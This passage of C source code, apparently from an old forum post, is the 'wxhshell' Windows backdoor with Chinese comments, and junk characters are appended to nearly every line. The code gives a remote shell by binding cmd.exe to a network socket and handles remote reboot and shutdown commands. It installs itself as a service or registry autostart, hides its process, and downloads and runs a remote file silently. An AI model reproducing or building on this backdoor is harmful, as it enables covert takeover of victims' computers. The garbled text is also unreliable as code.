    switch(cmd[0]) { 6rMGl zuRo  
  /g2(<  
  // 帮助  49&p~g  
  case '?': { W!4(EdT*Cq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1pogk0h.:  
    break; lN*O</L,"  
  } s2)a8 <  
  // 安装 &'9 Jy'(X  
  case 'i': { j`Fsr?]/  
    if(Install()) 8r(S=dA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .]g>.  
    else ]N!382  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <SmXMruU  
    break; Ej>5PXp'2  
    } {tMpI\>S  
  // 卸载 M~7gUb|  
  case 'r': { jSp4eq  
    if(Uninstall()) ae( o:G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :%Na-j9hV)  
    else L,V\g^4$K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `|e?91@vEa  
    break; poj@ G{  
    } !q;EC`i#  
  // 显示 wxhshell 所在路径 4Mi~eL%D (  
  case 'p': { 2,?4'0Z@R  
    char svExeFile[MAX_PATH]; 6f/>o$  
    strcpy(svExeFile,"\n\r"); Q9=vgOW+  
      strcat(svExeFile,ExeFile); j+NOT`&  
        send(wsh,svExeFile,strlen(svExeFile),0); oUXu;@l  
    break; XNkw9*IT  
    } p6u"$)wt  
  // 重启 ;o }pRC  
  case 'b': { ]}H;`H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YpMQY-n  
    if(Boot(REBOOT)) )B.NV<m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z(L\I  
    else { Y,z15i3j?  
    closesocket(wsh); /H&:  
    ExitThread(0); J(F]?H  
    } Y}%=:Yt  
    break; C5m6{Oo+-  
    } #aUe7~  
  // 关机 ;|&Ak_I2G  
  case 'd': { n_vopDMm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :J` *@cDn  
    if(Boot(SHUTDOWN)) 3OTq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ KQ7S>T  
    else { M0g!"0?  
    closesocket(wsh); :[P>e ox  
    ExitThread(0); Rdao  
    } '^ "6EF.R  
    break; &g;4;)p*8  
    } a}eM ny  
  // 获取shell 6U)Lhf\'o  
  case 's': { 4L\bT;dQ|.  
    CmdShell(wsh); zbn0)JO  
    closesocket(wsh); tgEXX-{  
    ExitThread(0); ; =.VKW%U  
    break; (NrH)+)J!a  
  } qV0C2jZ2  
  // 退出 <Okk;rj2  
  case 'x': { ~jMdM~}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lSU&Yqx  
    CloseIt(wsh); 4SSq5Ve<  
    break; j;@7V4'  
    } Jx[Z[RO2  
  // 离开 TZL)jf hj  
  case 'q': { ?r C^@)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =;Gy"F1 dp  
    closesocket(wsh); GPnd7}Tn  
    WSACleanup(); P<yd  
    exit(1); .n]P6t  
    break; qg?O+-+  
        } d54(6N%  
  } ;(M`Wy]2  
  } v`8dRVN  
i~ D,  
  // 提示信息 A8Q1x/d(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 13(JW  
} aW$( lf2;  
  } m5Gt8Z 6a  
$$+6=r}  
  return; =\H.C@r  
} ,W"Q)cL  
X?5M)MP+I  
// shell模块句柄 .lm^+1}r  
int CmdShell(SOCKET sock) ZZqImB.Cz6  
{ %9hzz5#  
STARTUPINFO si; o =)hUr  
ZeroMemory(&si,sizeof(si)); l(|@ dp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zM?JLNs]<{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '#d`K.;_b.  
PROCESS_INFORMATION ProcessInfo; }I_/>58  
char cmdline[]="cmd"; xe5|pBT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `h+ia/  
  return 0; qXmkeidb&W  
} \P% E1c#  
BhC.#u/   
// 自身启动模式 S;[g0j  
int StartFromService(void) F/;uN5{o  
{ +BcJHNIB  
typedef struct EJ&[I%jU  
{ E?san;K u  
  DWORD ExitStatus; XUeBK/aQ{  
  DWORD PebBaseAddress; 6c-y<J+&s  
  DWORD AffinityMask; a!YpSFr  
  DWORD BasePriority; ]&%_Fpx  
  ULONG UniqueProcessId; L/,#:J  
  ULONG InheritedFromUniqueProcessId; A+i|zo5p=k  
}   PROCESS_BASIC_INFORMATION; td{M%D,R"  
_r0[ z  
PROCNTQSIP NtQueryInformationProcess; y\7 -!  
t~m >\(&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !C>}j* 4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =jZ}@L/+  
Z^w11}  
  HANDLE             hProcess; &t1?=F,]  
  PROCESS_BASIC_INFORMATION pbi; m3zmyw}  
'B&gr}@4O=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Zhb) n  
  if(NULL == hInst ) return 0; W9>q1  
#hPa:I$Oc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j?sq i9#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5*QNE!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @C7if lo6  
r}ZL{uWMW  
  if (!NtQueryInformationProcess) return 0; f4Aevh:  
1"k"<{%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CjRI!}S  
  if(!hProcess) return 0; K^0cL%dB  
4E[ 9)n+YV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lt 74`9,f  
PYWp2V/  
  CloseHandle(hProcess); ?CSc5b`eo  
=ZdP0l+V=k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <n+?7`d,  
if(hProcess==NULL) return 0; Uz(Sv:G  
KG:CVIW Y  
HMODULE hMod; O/EI8Qvm  
char procName[255]; 26n+v(re  
unsigned long cbNeeded; O3, IR1  
`uL^!-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Nm;(M =  
!Yuu~|  
  CloseHandle(hProcess); E#'JYz@  
Y"J' 'K  
if(strstr(procName,"services")) return 1; // 以服务启动 daamP$h9  
s~OGl PK  
  return 0; // 注册表启动 Lo"w,p`n@  
} OhUEp g[  
C>\0 "}iD  
// 主模块 i co%_fp  
int StartWxhshell(LPSTR lpCmdLine) AC*> f&  
{ $Pw@EC]  
  SOCKET wsl; 9C;Hm>WEpP  
BOOL val=TRUE; tNsiokOm  
  int port=0; bvVEV  
  struct sockaddr_in door; W$_}lE$  
alu3CE  
  if(wscfg.ws_autoins) Install(); 1CS[%)-c  
j*2Q{ik>J  
port=atoi(lpCmdLine); }O=QXIF5  
a:$hK%^ \  
if(port<=0) port=wscfg.ws_port; A6D.bJ)  
cWG>w6FI  
  WSADATA data; xqV>m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zMZP3 xir  
8WT^ES~C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ur^~fW1 o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3=r#=u5z  
  door.sin_family = AF_INET; WO=X*O ne  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k [6%+  
  door.sin_port = htons(port); Cso!VdCX  
3awh>1N2 W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mlr]-Gu5Z  
closesocket(wsl); 8=XfwwWHy<  
return 1; kGaK(^w  
} EbTjBq  
O0|**Km\+  
  if(listen(wsl,2) == INVALID_SOCKET) { vAeh#V~#  
closesocket(wsl); rU^?Z  
return 1; cM9z b6m  
} 2?=R_&0 Q  
  Wxhshell(wsl); ] T `6Hz!  
  WSACleanup(); _oOE MQb  
p.Y =  
return 0; a(|YLN  
[=Qv?am  
} DyZe+,g;S  
F_KPhe$  
// 以NT服务方式启动 014p= W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [(%6]L}  
{ m@Ziif-A  
DWORD   status = 0; EN OaC  
  DWORD   specificError = 0xfffffff; TDvUiJm  
m(~5X0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r3OTU$t?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <:v2 N/i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x2@Q5|a  
  serviceStatus.dwWin32ExitCode     = 0; b{:c0z<  
  serviceStatus.dwServiceSpecificExitCode = 0; \>8r)xC  
  serviceStatus.dwCheckPoint       = 0; #Y)Gos  
  serviceStatus.dwWaitHint       = 0; /^#8z(@B  
/CpU.^V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )s @ }|`  
  if (hServiceStatusHandle==0) return; !8cS1(a  
f7y a0%N  
status = GetLastError(); :o!bz>T  
  if (status!=NO_ERROR) MS`wd  
{ cmw2EHTT<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gz>M Y4+G  
    serviceStatus.dwCheckPoint       = 0; Tt,<@U[/}  
    serviceStatus.dwWaitHint       = 0; v37TDY3;  
    serviceStatus.dwWin32ExitCode     = status; SV-M8Im73z  
    serviceStatus.dwServiceSpecificExitCode = specificError; D%tcYI(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H;#3S<  
    return; {9yv3[f3  
  } sbWen?  
Fpz)@0K;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l4 @  
  serviceStatus.dwCheckPoint       = 0; !/1aot^(  
  serviceStatus.dwWaitHint       = 0; tbx* }uy2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {*/&`$0lH|  
} ;0)|c}n+.5  
QKj8~l(  
// 处理NT服务事件,比如:启动、停止 Zd2B4~V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gBF2.{"^  
{ _$wXHONt  
switch(fdwControl) B@v\tpR  
{ .X D.'S  
case SERVICE_CONTROL_STOP: O8&=qZ6T  
  serviceStatus.dwWin32ExitCode = 0; \v7->Sy8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J$9`[^pV  
  serviceStatus.dwCheckPoint   = 0; 03]   
  serviceStatus.dwWaitHint     = 0; T d7f  
  { 6P0\t\D0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @O&<_&  
  } {8'f>YP  
  return; TFIP>$*_C  
case SERVICE_CONTROL_PAUSE: X/=*o;":  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n^HKf^]  
  break; 7Wd}H Z  
case SERVICE_CONTROL_CONTINUE:  3M5+!H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m|:O:<  
  break; DEdJH4  
case SERVICE_CONTROL_INTERROGATE: :h4Nfz(  
  break; 4Nz@s^9  
}; ]Wc:9Zb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); : h"Bf@3  
} H$M#+EfL  
/| nZ)?  
// 标准应用程序主函数 q<5AB{Oj?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;y"=3-=vM"  
{ **oa R  
=jz*|e|V  
// 获取操作系统版本 cip"9|"  
OsIsNt=GetOsVer(); ,YEwz3$5u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4,nUCT  
4pYscB  
  // 从命令行安装 %K9 9_Cl3  
  if(strpbrk(lpCmdLine,"iI")) Install(); K2'Il[  
EAPLe{qw:q  
  // 下载执行文件 hI+mx  
if(wscfg.ws_downexe) { !Vtj:2PQL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }^ g6Y3\  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q+Sx5JUR~  
} i!|OFU6  
u$vA9g4  
if(!OsIsNt) { 4[& L<D6h  
// 如果时win9x,隐藏进程并且设置为注册表启动 m %=] j<A  
HideProc(); vpnOc2 -  
StartWxhshell(lpCmdLine); +>w %j&B  
} '@jP$6T&  
else D-v}@tS'  
  if(StartFromService()) M, uQ8SZA[  
  // 以服务方式启动 v;%>F)I  
  StartServiceCtrlDispatcher(DispatchTable); d*M:P jG@  
else C(4r>TNm  
  // 普通方式启动 /t4#-vz  
  StartWxhshell(lpCmdLine); T@Q,1^?i  
*bOgRM[  
return 0; ##_`)/t,  
}
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只看该作者 1 发表于: 2006-10-10
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